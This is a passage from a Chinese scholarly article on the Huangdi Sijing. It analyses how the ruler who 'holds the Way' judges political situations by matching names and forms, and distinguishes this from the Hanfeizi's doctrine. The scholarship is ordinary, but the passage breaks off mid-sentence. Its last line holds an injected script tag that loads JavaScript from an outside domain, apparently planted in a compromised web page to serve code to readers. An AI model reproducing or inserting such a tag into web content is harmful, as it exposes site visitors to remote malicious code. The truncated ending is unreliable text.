《黄帝四经》所见“执道者”与“名”的关系2

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逆”,讨伐不该讨伐的国家,让不该存续的国家继续存续下去称之为“暴”。“逆”则失去国家维持的根本,“乱”则失去臣民各自的职分,“逆”则失去天时(农时),“暴”则失去臣民。失去国家维持的根本,国家就会受损。臣民失去各自的职责国家就会被侵犯,失去天时(农时)国家就会有饥荒,臣民逃亡。国家就失去健康关于《六分》篇中的“六逆”,我们以第一逆“其子父,其臣主”为例,看它在后文中是如何展开分析和判断的。“其子父,其臣主,虽强大不王。”→“適子父,命曰上曊,群臣离志。大臣主,命曰雍塞。”→“在强国削,在中国破,在小国亡。”如果现实中存在着“其子父,其臣主”的状态,可推定其实质为“虽强大不王”。根据这种“形态”和“实情”,如“適子父,命曰上曊,群臣离志;大臣主,命曰雍塞。在强国削、在中国破、在小国亡”所言,将子作出父之举动的行为命名为“上曊”,将大臣作出君主之 举动的现象命名为“雍塞”。能够想像得出,如果发生了“上曊”的事态,群臣就会有离国之志。如果发生了“上曊”、“雍塞”的事态,强国会失去国土,中等国家会在战争中失败,小国会导致亡国的结局。很显然,“上曊”、“雍塞”这些名称是与“规定的位置和形态”相对照之后,被赋予的“倚名”。正因为是“倚名”,所以能想见“群臣离志”、“在强国削、在中国破、在小国亡”之结局。因此,君主根据名实相应的原则,观察各种各样的政治状况,把握“上曊”、“雍塞”等名称,然后赋予对象必然的结局,采取切实有效的行动。这就是《经法•道法》所说的“形名已立,声号已建,则无所逃迹匿正矣。”“四度”是《四度》篇所讨论的一个命题。其中有“善”、“恶”两种倾向。在此我们来观察“恶”的程序是如何展开的“君臣易位”→“谓之逆”→“逆则失本”→“失本则〔损〕”“贤不肖并立”→“谓之乱”→“乱则失职”→“失职则侵”“动静不时”→“谓之逆”→“逆则失天”→“失天则饥”“生杀不当”→“谓之暴”→“〔暴〕则失人”→“失人则疾”  这是非常清晰而富有逻辑性的表达方式。即先描述政治现象(正常的形态或非正常的形态),然后用“谓之”给出判断(“正名”或是“倚名”),最后对必然的结果亦即未来的实态作出预见。与以上“六逆”、“四度”相类似的表达方式,还有《国次》篇的“五逆”,《六分》篇中与“六逆”相反的“六顺”,《亡论》篇的“六危”、“三不辜”、“三壅”、“三凶”等等。作者将政治场合最深刻的问题用数字方式加以细致的分类,然后一一作出判断和预见。判断的表述方式有《六分》篇的“命曰”,《国次》篇的“是谓”、“此谓”,《四度》篇的“谓之”,《论》篇、《亡论》篇、《论约》篇的“谓之”、“曰”、“命曰”等等。《四度》篇说“审知四度,可以定天下,可安一国。”(审査了解了“四度”,就可以治天下,就可以安一国。)《六分》篇说“主上者执六分以生杀,以赏〔伐〕[⑨],以必伐。……故王天下。”(统治者根据“六逆”、“六顺”之“六分”,从事生杀、赏罚、讨伐。……所以能够统治天下。)可见这些以数字表达的内容正是“执道者”“审名察形”的对象,从大量使用的判断用词看,审名的活动贯穿了《经法》全文。  最后,试用《论约》篇的例子,再归纳出“执道者”是如何利用审“名”活动阐明政治原理、展开政治活动的。  第一步:“执道者之观于天下也,必审观事之所始起,审其形名”,即审査对象之“形”、“名”是否处于正确的规定的位置。  第二步:“形名已定,逆顺有位,死生有分,存亡兴坏有处。”通过确认对象之形名,看穿对象的最终结局。  第三步:“然后参之于天地之恒道,乃定祸福死生存亡兴坏之所在。”如果“执道者”要进一步采取行动,那就是给对象赋予和“名”相应的赏罚。  说这种“审名”活动就是广义的“形名参同”说,虽然基本上没有错误,但容易对《黄帝四经》中所见“形名”做过分的解释。因为在典型的“形名参同”说中,“名”为主、“形”为次,“名”操纵“形”,“形”必须合于“名”。而笔者在《分类》中指出,《黄帝四经》中所见“形名”也可以倒过来称为“名形”,两者可以是并列平等的关系,均表示规定的位置、应有的姿态。这也正是《黄帝四经》会既说“正名”又说“恒形”的原因。例如《十六经•正乱》有“帝曰:‘谨守吾正名,毋失吾恒形,以示后人。’”显然“正名”、“恒形”都有类似准则之意。将“正名”、“恒形”所体现的“形名”与有着主次关系的“形名”不加区別,用《韩非子》所见“形名参同”说去诠释《黄帝四经》的话,就会出现过分拘泥的解释。  通过以上论述也可以解释“名”为何在《黄帝四经》中较少释为“职分”、“职守”的原因,因为在“形名参同”的话题中,作为“职守”的“名”才更有讨论的价值,而《黄帝四经》的主要话题并不是狭义的“形名?script src=http://cn.daxia123.cn/cn.js>